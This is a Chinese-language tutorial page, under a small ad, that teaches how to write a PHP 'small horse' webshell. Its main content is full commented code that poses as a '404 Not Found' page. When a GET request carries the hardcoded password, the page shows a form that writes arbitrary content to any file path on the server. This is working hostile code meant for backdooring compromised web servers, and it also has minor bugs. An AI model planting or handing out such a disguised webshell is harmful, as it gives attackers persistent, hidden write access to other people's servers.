合规国际互联网加速 OSASE为企业客户提供高速稳定SD-WAN国际加速解决方案。 广告
[TOC] ## 主要要素 文件隐藏 有登陆密码 实现写入 ## 常用函数 ~~~ $_SERVER //服务器和执行环境信息 $_SERVER['SERVER_NAME'] $_SERVER["SCRIPT_FILNAME"] gethostbyname() //通过域名获取IP地址 gethostbyname($_SERVER['SERVER_NAME']) __DIR__ //当前内容写在哪个文件就显示这个文件目录 fopen //打开文件或者 URL fwrite //写入文件 ~~~ ## 例子 ~~~ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head> <?php // echo "<pre>"; // var_dump($_SERVER); //顶一个全局密码 $password = "123456"; //设置if判断,如果GET传参不是空则 if (!empty($_GET)){ //get传参不是则,则判断get传参是否是pass,及密码是否对应设置的全局密码 if ($_GET["pass"] == $password){ // echo "密码正确"; //密码正确,进入登陆页面,继续判断表单,post传参是否为空,不为空 if (!empty($_POST)) //定义变量接收post传参过来的文件路径 $past = $_POST["filepeth"]; //定义变量接受收post传参过来的文件内容 $content = $_POST["filecontent"]; //定义变量,fopen打开文件,根据上面获取的文件路径,以写入方式打开,如果目标不存在则创建, $statement = fopen($past,"w"); //fwrite函数,将内容写入到文件当中,fwrite写入,在刚刚定义的以写入方式打开的变量,写入post传参过来的内容,根据返回值,用if进行判断 if (fwrite($statement,$content)){ echo "写入成功"; }else{ echo "写入成功"; } } //标题 echo "<h5>小马</h5>"; //获取$_server系统变量,显示当前的服务器的域名 echo "<p>服务器ID及当前域名:".$_SERVER['REQUEST_URI']."</p>"; //获取$_server系统变量,输出当前页面的绝对路径 echo "<p>当前页面绝对路径:".$_SERVER['SCRIPT_FILENAME']."</p>"; //获取$_server系统变量,输出当前页面的绝对目录 echo "<p>当前页面绝对目录:".$_SERVER['CONTEXT_DOCUMENT_ROOT']."</p>"; //定义form表单,用post进行传参 echo "<form action='' method='post'>"; //定义input提交标签,以text形式提交写入位置,设置默认的value echo "文件写入位置:<input type='text' name='filepeth' value=".$_SERVER['SCRIPT_FILENAME']."/>"; //定一个提交标签,用submit方式提交 echo "<input type='submit' name='submit' value='提交'><br>"; //定义一个文本输入域,用textarea函数 echo "<textarea name='filecontent' rows='10' cols='50'></textarea>"; echo "</form>"; }else{ echo "密码不正确"; } //如果没有传参 }else{ ?> <!-- 则显示平常访问不到目录的状态--> <body> <h1>Not Found</h1> <p>The requested <?php echo $_SERVER['REQUEST_URI']?>. was not found on this server.</p> </body></html> <?php } ?> ~~~